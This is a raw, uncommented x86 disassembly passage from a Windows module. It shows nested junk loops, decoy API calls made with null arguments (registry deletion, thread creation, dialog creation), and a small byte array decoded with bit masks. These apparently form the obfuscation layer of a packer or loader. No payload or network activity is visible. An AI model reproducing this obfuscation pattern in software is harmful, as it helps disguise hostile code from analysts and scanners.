and dword [ebp - 0xe28], 0
cmp dword [ebp - 0xe28], 0x5fec46bc
jge 0x10035536
mov dword [ebp - 0x7f0], 1
jmp 0x1003553d
and dword [ebp - 0x7f0], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x7f0], eax
jle 0x10035554
mov dword [ebp - 0xb80], 1
jmp 0x1003555b
and dword [ebp - 0xb80], 0
cmp dword [ebp - 0xb80], 1
jb 0x10035570
mov dword [ebp - 0x137c], 1
jmp 0x10035577
and dword [ebp - 0x137c], 0
mov eax, dword [ebp - 0x68c]
mov dword [ebp - 0x1700], eax
cmp dword [ebp - 0x218], 0
je 0x1003559e
cmp dword [ebp - 0x2c], 0
je 0x1003559e
mov dword [ebp - 0x7f8], 1
jmp 0x100355a5
and dword [ebp - 0x7f8], 0
cmp dword [ebp - 0x7f8], 0x6116
jne 0x100355c3
cmp dword [ebp - 0x1ec], 0
jne 0x100355c3
and dword [ebp - 0xd48], 0
jmp 0x100355cd
mov dword [ebp - 0xd48], 1
mov eax, dword [ebp - 0xd48]
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp - 0x110]
cmp dword [ebp - 0x21c], eax
jle 0x100355f3
mov dword [ebp - 0x800], 1
jmp 0x100355fa
and dword [ebp - 0x800], 0
mov eax, dword [ebp - 0x800]
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x110], 0
jmp 0x1003561f
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0x15
jle 0x100357ef
mov dword [ebp - 0x2c], 0
jmp 0x1003563c
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jg 0x1003567a
mov dword [ebp - 0x90], 0
jmp 0x1003565b
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 2
jg 0x10035678
mov eax, dword [ebp - 0x90]
cmp dword [ebp + eax*4 - 0x13ac], 0
je 0x10035676
jmp 0x10035678
jmp 0x1003564e
jmp 0x10035635
mov byte [ebp - 0x19a], 0
mov dword [ebp - 0xb88], 0x23e4
mov dword [ebp - 0xf5c], 0x1000a3ac
cmp dword [ebp - 0xb88], 0x2525
jle 0x100357b7
and dword [ebp - 0x2bc], 0
jmp 0x100356bb
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 0x69af
jge 0x100357af
and dword [ebp - 0x45c], 0
jmp 0x100356e1
mov eax, dword [ebp - 0x45c]
inc eax
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x45c], 0x7573
jge 0x100357aa
and dword [ebp - 0x2c4], 0
jmp 0x10035707
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0x6f9f
jge 0x100357a5
and dword [ebp - 0x52c], 0
jmp 0x1003572d
mov eax, dword [ebp - 0x52c]
inc eax
mov dword [ebp - 0x52c], eax
cmp dword [ebp - 0x52c], 0x4a1e
jge 0x100357a0
mov eax, dword [ebp - 0x2bc]
xor eax, dword [ebp - 0x45c]
mov edx, dword [ebp - 0x2c4]
mov ecx, dword [ebp - 0x52c]
sar edx, cl
or eax, edx
cdq
mov dword [ebp - 0x10a0], eax
mov dword [ebp - 0x109c], edx
push dword [ebp - 0x109c]
push dword [ebp - 0x10a0]
lea ecx, [ebp - 0x1ac0]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0x1384], eax
mov ecx, dword [ebp - 0x1384]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x1ac0]
call fcn.100208ae
jmp 0x10035720
jmp 0x100356fa
jmp 0x100356d4
jmp 0x100356ae
push 0
call dword [sym.imp.USER32.dll_BringWindowToTop]
movzx eax, byte [ebp - 0x19a]
test eax, eax
je 0x100357d2
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogParamA]
cmp dword [ebp - 0xb88], 0x22cc
jge 0x100357ea
push dword [ebp - 0xf5c]
call fcn.1006abb3
pop ecx
jmp 0x10035612
push 0xfffffffffffffff7
pop eax
test eax, eax
je 0x10035885
mov eax, dword [ebp - 0x218]
mov dword [ebp - 0x808], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x808]
mov dword [ebp + eax - 0x1540], ecx
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x808], eax
jl 0x10035830
mov dword [ebp - 0xe9c], 1
jmp 0x10035837
and dword [ebp - 0xe9c], 0
cmp dword [ebp - 0xe9c], 0
je 0x1003584c
mov dword [ebp - 0x1394], 1
jmp 0x10035853
and dword [ebp - 0x1394], 0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp - 0x21c]
mov dword [ebp - 0x18a8], eax
mov eax, dword [ebp - 0x21c]
imul eax, dword [ebp - 0x68c]
test eax, eax
je 0x10035885
mov dword [ebp - 0x810], 1
jmp 0x1003588c
and dword [ebp - 0x810], 0
mov eax, dword [ebp - 0x110]
cmp dword [ebp - 0x810], eax
jg 0x100358a6
mov dword [ebp - 0xb90], 1
jmp 0x100358ad
and dword [ebp - 0xb90], 0
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0xb90]
jl 0x100358c4
mov dword [ebp - 0x818], 1
jmp 0x100358cb
and dword [ebp - 0x818], 0
mov eax, dword [ebp - 0x818]
mov dword [ebp - 0x110], eax
jmp 0x10035b15
mov dword [ebp - 0x1464], 1
mov dword [ebp - 0x1708], 5
mov dword [ebp - 0xd50], 0x3ed2
mov dword [ebp - 0x14a4], 0x1000a3d4
cmp dword [ebp - 0xd50], 0x3ee4
jle 0x100359be
and dword [ebp - 0x2cc], 0
jmp 0x1003592a
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0x6a34
jge 0x100359b4
and dword [ebp - 0x464], 0
jmp 0x1003594c
mov eax, dword [ebp - 0x464]
inc eax
mov dword [ebp - 0x464], eax
cmp dword [ebp - 0x464], 0x552c
jge 0x100359af
mov eax, dword [ebp - 0x2cc]
or eax, dword [ebp - 0x464]
cdq
mov dword [ebp - 0x10ac], eax
mov dword [ebp - 0x10a8], edx
push dword [ebp - 0x10a8]
push dword [ebp - 0x10ac]
lea ecx, [ebp - 0x1cd0]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0x139c], eax
mov ecx, dword [ebp - 0x139c]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x1cd0]
call fcn.100208ae
jmp 0x1003593f
jmp 0x1003591d
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov dword [ebp - 0x1938], 0x9cd94668
cmp dword [ebp - 0xd50], 0x3cbe
jge 0x100359e0
push dword [ebp - 0x14a4]
call fcn.1006abb3
pop ecx
mov dword [ebp - 0x1710], 0xb78c37f2
mov dword [ebp - 0x820], 0x2a42
mov dword [ebp - 0x145c], 0x1000a3fc
cmp dword [ebp - 0x820], 0x2af1
jle 0x10035acf
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDCA]
and dword [ebp - 0x2dc], 0
jmp 0x10035a32
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0x2726
jge 0x10035ac7
and dword [ebp - 0x2d4], 0
jmp 0x10035a58
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0x49ca
jge 0x10035ac2
and dword [ebp - 0x594], 0
jmp 0x10035a7a
mov eax, dword [ebp - 0x594]
inc eax
mov dword [ebp - 0x594], eax
cmp dword [ebp - 0x594], 0x7876
jge 0x10035ac0
mov eax, dword [ebp - 0x2d4]
cdq
idiv dword [ebp - 0x594]
and edx, dword [ebp - 0x2dc]
mov eax, edx
cdq
mov dword [ebp - 0x10b8], eax
mov dword [ebp - 0x10b4], edx
push dword [ebp - 0x10b4]
push dword [ebp - 0x10b8]
mov ecx, 0x10085b58
call fcn.100208d8
jmp 0x10035a6d
jmp 0x10035a4b
jmp 0x10035a25
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov dword [ebp - 0x18b8], 0x49df3c4f
cmp dword [ebp - 0x820], 0x279a
jge 0x10035af5
mov edx, dword [ebp - 0x145c]
mov ecx, 0x10085b58
call fcn.10023628
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1464]
mov dword [ebp + eax - 0x13ac], ecx
mov eax, dword [ebp - 0xb98]
inc eax
mov dword [ebp - 0xb98], eax
cmp dword [0x1008b00c], 0
jne 0x1003a418
mov dword [ebp - 0xf64], 0x672
lea eax, [ebp - 0xf64]
push eax
call fcn.1002e50e
pop ecx
mov dword [ebp - 0xe78], eax
push 1
lea ecx, [ebp - 0x610]
call fcn.10020bf2
mov dword [ebp - 4], 3
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x828], 0x6721
mov dword [ebp - 0x12d0], 0x1000a418
cmp dword [ebp - 0x828], 0x69bd
jle 0x10035c5e
and dword [ebp - 0x46c], 0
jmp 0x10035b94
mov eax, dword [ebp - 0x46c]
inc eax
mov dword [ebp - 0x46c], eax
cmp dword [ebp - 0x46c], 0x74
jge 0x10035c50
and dword [ebp - 0x2e4], 0
jmp 0x10035bb7
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 0x4614
jge 0x10035c4b
and dword [ebp - 0x534], 0
jmp 0x10035bdd
mov eax, dword [ebp - 0x534]
inc eax
mov dword [ebp - 0x534], eax
cmp dword [ebp - 0x534], 0x42ce
jge 0x10035c46
mov eax, dword [ebp - 0x46c]
sub eax, dword [ebp - 0x2e4]
xor eax, dword [ebp - 0x534]
cdq
mov dword [ebp - 0x10c4], eax
mov dword [ebp - 0x10c0], edx
push dword [ebp - 0x10c0]
push dword [ebp - 0x10c4]
lea ecx, [ebp - 0x1af0]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0x1040], eax
mov ecx, dword [ebp - 0x1040]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x1af0]
call fcn.100208ae
jmp 0x10035bd0
jmp 0x10035baa
jmp 0x10035b87
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
mov dword [ebp - 0x114], 0x4185a1fa
cmp dword [ebp - 0x828], 0x66b1
jge 0x10035c80
push dword [ebp - 0x12d0]
call fcn.1006abb3
pop ecx
mov dword [ebp - 0x1718], 4
mov dword [ebp - 0x11c], 0xa2d53575
mov dword [ebp - 0x1974], 0xfffffff8
mov dword [ebp - 0x2ec], 0
jmp 0x10035cb7
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 1
jge 0x10035cd9
push dword [ebp - 0x2ec]
lea ecx, [ebp - 0x610]
call fcn.10020c90
mov dword [eax], 1
jmp 0x10035caa
mov dword [ebp - 0x34], 0
jmp 0x10035ce9
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jg 0x10035d34
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x474], 0
jmp 0x10035d12
mov eax, dword [ebp - 0x474]
inc eax
mov dword [ebp - 0x474], eax
cmp dword [ebp - 0x474], 0
jg 0x10035d32
push dword [ebp - 0x34]
lea ecx, [ebp - 0x610]
call fcn.10020c90
cmp dword [eax], 0
je 0x10035d30
jmp 0x10035d32
jmp 0x10035d05
jmp 0x10035ce2
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x1720], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x18c8], eax
push 0
lea ecx, [ebp - 0x610]
call fcn.10020c90
cmp dword [ebp - 0x114], 0
je 0x10035d80
push 0
lea ecx, [ebp - 0x610]
call fcn.10020c90
cmp dword [eax], 0
je 0x10035d80
mov dword [ebp - 0xe30], 1
jmp 0x10035d87
and dword [ebp - 0xe30], 0
push 0
lea ecx, [ebp - 0x610]
call fcn.10020c90
mov eax, dword [eax]
neg eax
sub eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0xe30]
jne 0x10035daf
mov dword [ebp - 0x830], 1
jmp 0x10035db6
and dword [ebp - 0x830], 0
mov eax, dword [ebp - 0x830]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x34], eax
jge 0x10035ff8
mov dword [ebp - 0x14c4], 1
mov dword [ebp - 0x14c0], 1
mov dword [ebp - 0x14bc], 1
mov dword [ebp - 0x14b8], 1
mov dword [ebp - 0x840], 0xa0e1c2a9
mov dword [ebp - 0x15c0], 0x94bf7d6
mov dword [ebp - 0x15bc], 0x94bf7d6
mov dword [ebp - 0x15b8], 0x94bf7d6
mov dword [ebp - 0x15b4], 0x94bf7d6
lea ecx, [ebp - 0x61d]
call fcn.10020c9f
push eax
lea eax, [ebp - 0x15b0]
push eax
lea eax, [ebp - 0x15c0]
push eax
lea ecx, [ebp - 0x1a18]
call fcn.10020ca2
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x17c4]
call fcn.10020c4e
mov byte [ebp - 4], 4
mov byte [ebp - 0x18c], 0
movzx eax, byte [ebp - 0x18c]
test eax, eax
je 0x10035e7d
push 0
push 0
call dword [sym.imp.USER32.dll_DrawFocusRect]
cmp dword [ebp - 0x114], 0xfffffff6
je 0x10035e92
mov dword [ebp - 0xba8], 1
jmp 0x10035e99
and dword [ebp - 0xba8], 0
push 0
lea ecx, [ebp - 0x610]
call fcn.10020c90
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14c4]
cmp dword [ebp - 0x34], eax
jl 0x10035ec4
mov dword [ebp - 0xba0], 1
jmp 0x10035ecb
and dword [ebp - 0xba0], 0
cmp dword [ebp - 0xba0], 0x7aa29676
jg 0x10035ee3
mov dword [ebp - 0x838], 1
jmp 0x10035eea
and dword [ebp - 0x838], 0
mov eax, dword [ebp - 0x838]
neg eax
dec eax
cmp eax, 0x644184eb
jge 0x10035f06
mov dword [ebp - 0xd58], 1
jmp 0x10035f0d
and dword [ebp - 0xd58], 0
mov eax, dword [ebp - 0xd58]
mov dword [ebp - 0x840], eax
cmp dword [ebp - 0x840], 0
jne 0x10035f3d
push 0
lea ecx, [ebp - 0x610]
call fcn.10020c90
cmp dword [eax], 0
jne 0x10035f3d
and dword [ebp - 0x848], 0
jmp 0x10035f47
mov dword [ebp - 0x848], 1
mov eax, dword [ebp - 0xba8]
add eax, dword [ebp - 0x848]
cmp eax, dword [ebp - 0x34]
jg 0x10035f64
mov dword [ebp - 0xefc], 1
jmp 0x10035f6b
and dword [ebp - 0xefc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x14c4]
cmp dword [ebp - 0xefc], eax
jg 0x10035f8c
mov dword [ebp - 0x850], 1
jmp 0x10035f93
and dword [ebp - 0x850], 0
mov esi, dword [ebp - 0x114]
mov edi, dword [ebp - 0x114]
push 0
lea ecx, [ebp - 0x610]
call fcn.10020c90
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x14c4], 4
jg 0x10035fc8
mov dword [ebp - 0xbb0], 1
jmp 0x10035fcf
and dword [ebp - 0xbb0], 0
push 1
lea ecx, [ebp - 0x17c4]
call fcn.10020c90
mov ecx, dword [ebp - 0xbb0]
mov dword [eax], ecx
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x17c4]
call fcn.10020c74
jmp 0x100361f5
mov dword [ebp - 0x638], 0xfffffffc
mov dword [ebp - 0x69c], 1
mov dword [ebp - 0x1260], 0xeffbb891
mov dword [ebp - 0x2f4], 0
jmp 0x1003602f
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 2
jge 0x1003604b
mov eax, dword [ebp - 0x2f4]
mov dword [ebp + eax*4 - 0x186c], 9
jmp 0x10036022
push 0
lea ecx, [ebp - 0x610]
call fcn.10020c90
cmp dword [eax], 1
jl 0x10036069
mov dword [ebp - 0x858], 1
jmp 0x10036070
and dword [ebp - 0x858], 0
cmp dword [ebp - 0x858], 0x7779e46e
jl 0x10036088
mov dword [ebp - 0xd60], 1
jmp 0x1003608f
and dword [ebp - 0xd60], 0
cmp dword [ebp - 0xd60], 0xffff
je 0x100360a7
mov dword [ebp - 0x860], 1
jmp 0x100360ae
and dword [ebp - 0x860], 0
mov eax, dword [ebp - 0x638]
cmp dword [ebp - 0x860], eax
jle 0x100360c8
mov dword [ebp - 0xf6c], 1
jmp 0x100360cf
and dword [ebp - 0xf6c], 0
push 0
lea ecx, [ebp - 0x610]
call fcn.10020c90
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x186c]
mov dword [ebp - 0x1728], eax
mov eax, dword [ebp - 0x638]
mov dword [ebp - 0x1940], eax
cmp dword [ebp - 0x69c], 0
je 0x10036114
xor eax, eax
je 0x10036114
mov dword [ebp - 0xbb8], 1
jmp 0x1003611b
and dword [ebp - 0xbb8], 0
cmp dword [ebp - 0xbb8], 3
jb 0x10036130
mov dword [ebp - 0x868], 1
jmp 0x10036137
and dword [ebp - 0x868], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x868], eax
jle 0x1003614e
mov dword [ebp - 0xe38], 1
jmp 0x10036155
and dword [ebp - 0xe38], 0
mov eax, dword [ebp - 0x638]
sub eax, dword [ebp - 0xe38]
mov dword [ebp - 0x34], eax
jne 0x10036178
cmp dword [ebp - 0x69c], 0
jne 0x10036178
and dword [ebp - 0x870], 0
jmp 0x10036182
mov dword [ebp - 0x870], 1
mov eax, dword [ebp - 0x870]
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x1730], eax
mov eax, dword [ebp - 0x69c]
mov dword [ebp - 0x18d8], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1738], eax
mov dword [ebp - 0x1260], 0xb35667b2
mov dword [ebp - 0x11c], 0
jmp 0x100361d2
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
jg 0x100361f5
push dword [ebp - 0x11c]
lea ecx, [ebp - 0x610]
call fcn.10020c90
cmp dword [eax], 0
je 0x100361f3
jmp 0x100361f5
jmp 0x100361c5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x610]
call fcn.10020c74
mov dword [ebp - 0xbc0], 0x43c5
mov dword [ebp - 0x12d4], 0x1000a480
cmp dword [ebp - 0xbc0], 0x449b
jle 0x10036344
and dword [ebp - 0x5ec], 0
jmp 0x1003623e
mov eax, dword [ebp - 0x5ec]
inc eax
mov dword [ebp - 0x5ec], eax
cmp dword [ebp - 0x5ec], 0x61ee
jge 0x10036332
and dword [ebp - 0x2fc], 0
jmp 0x10036264
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0x3edd
jge 0x1003632d
and dword [ebp - 0x47c], 0
jmp 0x1003628a
mov eax, dword [ebp - 0x47c]
inc eax
mov dword [ebp - 0x47c], eax
cmp dword [ebp - 0x47c], 0x24ad
jge 0x10036328
and dword [ebp - 0x304], 0
jmp 0x100362b0
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 0x7fd5
jge 0x10036323
mov eax, dword [ebp - 0x5ec]
mov ecx, dword [ebp - 0x2fc]
sar eax, cl
mov ecx, dword [ebp - 0x47c]
sub ecx, dword [ebp - 0x304]
xor eax, ecx
cdq
mov dword [ebp - 0x10d0], eax
mov dword [ebp - 0x10cc], edx
push dword [ebp - 0x10cc]
push dword [ebp - 0x10d0]
lea ecx, [ebp - 0x1c10]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0xf74], eax
mov ecx, dword [ebp - 0xf74]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x1c10]
call fcn.100208ae
jmp 0x100362a3
jmp 0x1003627d
jmp 0x10036257
jmp 0x10036231
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x53c], 0xfffffff7
mov dword [ebp - 0x53c], 0
jmp 0x10036367
mov eax, dword [ebp - 0x53c]
inc eax
mov dword [ebp - 0x53c], eax
cmp dword [ebp - 0x53c], 0xe
jle 0x100363a8
mov byte [ebp - 0x196], 0
movzx eax, byte [ebp - 0x196]
test eax, eax
je 0x1003638e
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
mov byte [ebp - 0x18e], 0
movzx eax, byte [ebp - 0x18e]
test eax, eax
je 0x100363a6
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
jmp 0x1003635a
cmp dword [ebp - 0xbc0], 0x40e9
jge 0x100363c0
push dword [ebp - 0x12d4]
call fcn.1006abb3
pop ecx
mov byte [ebp - 0x260], 6
mov byte [ebp - 0x25f], 0xbc
mov byte [ebp - 0x25e], 2
mov byte [ebp - 0x25d], 7
mov byte [ebp - 0x25c], 0xb
mov byte [ebp - 0x25b], 0xc
mov byte [ebp - 0x25a], 7
mov byte [ebp - 0x259], 0x11
mov byte [ebp - 0x258], 0
mov byte [ebp - 0x257], 0x2e
mov byte [ebp - 0x256], 3
mov byte [ebp - 0x255], 0x11
mov byte [ebp - 0x254], 5
mov byte [ebp - 0x253], 0x24
mov byte [ebp - 0x252], 3
mov byte [ebp - 0x251], 0x90
mov byte [ebp - 0x250], 0x8b
mov byte [ebp - 0x24f], 0x39
mov byte [ebp - 0x24e], 1
mov byte [ebp - 0x24d], 0x17
mov byte [ebp - 0x24c], 9
mov byte [ebp - 0x24b], 0xb
mov byte [ebp - 0x24a], 0xa
mov byte [ebp - 0x249], 0x2b
mov byte [ebp - 0x248], 8
mov byte [ebp - 0x247], 0x2a
mov byte [ebp - 0x246], 0xc
mov byte [ebp - 0x245], 0x38
mov byte [ebp - 0x244], 4
mov byte [ebp - 0x243], 0x32
mov dword [ebp - 0x124], 1
mov dword [ebp - 0x1e0], 0xfffffffe
mov dword [ebp - 0x124], 1
jmp 0x100364bf
mov eax, dword [ebp - 0x124]
dec eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0xfffffff7
jg 0x10036870
mov dword [ebp - 0x20], 0
mov dword [ebp - 0xf7c], 0x22abac89
mov dword [ebp - 0x890], 0x1a53fde7
mov dword [ebp - 0x30c], 0
jmp 0x10036500
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 2
jge 0x1003651c
mov eax, dword [ebp - 0x30c]
mov dword [ebp + eax*4 - 0x6dc], 0x473e
jmp 0x100364f3
cmp dword [ebp - 0x124], 0
je 0x1003652a
jmp 0x10036870
mov dword [ebp - 0x20], 0
jmp 0x1003653a
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 1
jg 0x1003686b
mov dword [ebp - 0x1e8], 0xffffffff
push 2
lea ecx, [ebp - 0x14ec]
call fcn.10020bf2
mov dword [ebp - 4], 5
mov dword [ebp - 0x484], 0
jmp 0x1003657b
mov eax, dword [ebp - 0x484]
inc eax
mov dword [ebp - 0x484], eax
cmp dword [ebp - 0x484], 2
jge 0x1003659a
push dword [ebp - 0x484]
lea ecx, [ebp - 0x14ec]
call fcn.10020c90
or dword [eax], 0xffffffff
jmp 0x1003656e
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp + ecx*4 - 0x6dc]
cmp dword [ebp + eax*4 - 0x6dc], ecx
jle 0x100365bc
mov dword [ebp - 0xbe0], 1
jmp 0x100365c3
and dword [ebp - 0xbe0], 0
cmp dword [ebp - 0x124], 0x62a4b15
jle 0x100365db
mov dword [ebp - 0x878], 1
jmp 0x100365e2
and dword [ebp - 0x878], 0
mov eax, dword [ebp - 0xf7c]
cmp dword [ebp - 0x878], eax
je 0x100365fc
mov dword [ebp - 0xd68], 1
jmp 0x10036603
and dword [ebp - 0xd68], 0
cmp dword [ebp - 0xd68], 0xffff
jb 0x1003661b
mov dword [ebp - 0x880], 1
jmp 0x10036622
and dword [ebp - 0x880], 0
cmp dword [ebp - 0x880], 0x77d6
jle 0x1003663a
mov dword [ebp - 0xbc8], 1
jmp 0x10036641
and dword [ebp - 0xbc8], 0
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x6dc]
cmp eax, dword [ebp - 0xbc8]
je 0x1003665f
mov dword [ebp - 0x888], 1
jmp 0x10036666
and dword [ebp - 0x888], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x888]
sub ecx, dword [ebp + eax - 0x6dc]
cmp ecx, 0xfffffffe
jae 0x1003668a
mov dword [ebp - 0xea4], 1
jmp 0x10036691
and dword [ebp - 0xea4], 0
mov eax, dword [ebp - 0xea4]
mov dword [ebp - 0x890], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x6dc]
cmp dword [ebp - 0x890], eax
je 0x100366bb
mov dword [ebp - 0xbd0], 1
jmp 0x100366c2
and dword [ebp - 0xbd0], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0xbd0], eax
jle 0x100366d9
mov dword [ebp - 0x898], 1
jmp 0x100366e0
and dword [ebp - 0x898], 0
cmp dword [ebp - 0x898], 0xa1c3d076
jne 0x100366f8
mov dword [ebp - 0xd70], 1
jmp 0x100366ff
and dword [ebp - 0xd70], 0
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x6dc]
cmp dword [ebp - 0xd70], eax
jle 0x10036720
cmp dword [ebp - 0x20], 0
jne 0x10036720
and dword [ebp - 0x8a0], 0
jmp 0x1003672a
mov dword [ebp - 0x8a0], 1
mov eax, dword [ebp - 0x8a0]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x1e8], eax
jne 0x1003674a
cmp dword [ebp - 0x20], 0
jne 0x1003674a
and dword [ebp - 0xbd8], 0
jmp 0x10036754
mov dword [ebp - 0xbd8], 1
cmp dword [ebp - 0xbd8], 1
je 0x10036772
cmp dword [ebp - 0x124], 0
je 0x10036772
mov dword [ebp - 0x8a8], 1
jmp 0x10036779
and dword [ebp - 0x8a8], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x8a8], eax
jne 0x10036790
mov dword [ebp - 0xe40], 1
jmp 0x10036797
and dword [ebp - 0xe40], 0
cmp dword [ebp - 0xe40], 0
jg 0x100367ac
mov dword [ebp - 0x8b0], 1
jmp 0x100367b3
and dword [ebp - 0x8b0], 0
cmp dword [ebp - 0x8b0], 0x60a2
jle 0x100367cb
mov dword [ebp - 0x8b8], 1
jmp 0x100367d2
and dword [ebp - 0x8b8], 0
mov eax, dword [ebp - 0xbe0]
mov dword [ebp - 0x1e0], eax
mov esi, dword [ebp - 0x1e0]
imul esi, dword [ebp - 0x8b8]
push 1
lea ecx, [ebp - 0x14ec]
call fcn.10020c90
mov dword [eax], esi
mov dword [ebp - 0x1e0], 1
jmp 0x10036813
mov eax, dword [ebp - 0x1e0]
dec eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0
jl 0x10036857
mov dword [ebp - 0x1e8], 1
jmp 0x10036835
mov eax, dword [ebp - 0x1e8]
dec eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0
jl 0x10036855
push dword [ebp - 0x20]
lea ecx, [ebp - 0x14ec]
call fcn.10020c90
cmp dword [eax], 0
je 0x10036853
jmp 0x10036855
jmp 0x10036828
jmp 0x10036806
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14ec]
call fcn.10020c74
jmp 0x10036533
jmp 0x100364b2
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x260]
or eax, 0xcf
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x260]
and ecx, 0xcf
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x260]
mov byte [ebp + ecx - 0x149c], al
mov dword [ebp - 0x5c], 2
and dword [ebp - 0x344], 0
jmp 0x100368c6
mov eax, dword [ebp - 0x5c]
inc eax
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x1e
jae 0x10037512
push 2
lea ecx, [ebp - 0x6c8]
call fcn.10020bf2
mov dword [ebp - 4], 6
mov dword [ebp - 0xd78], 1
push 4
lea ecx, [ebp - 0x70c]
call fcn.10020bf2
mov byte [ebp - 4], 7
mov dword [ebp - 0xf8c], 1
mov dword [ebp - 0x44], 0
jmp 0x10036919
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 2
jge 0x10036935
push dword [ebp - 0x44]
lea ecx, [ebp - 0x6c8]
call fcn.10020c90
mov dword [eax], 8
jmp 0x10036912
mov dword [ebp - 0x44], 0
jmp 0x10036945
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 1
jge 0x1003695b
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0xed4], 0x36de0184
jmp 0x1003693e
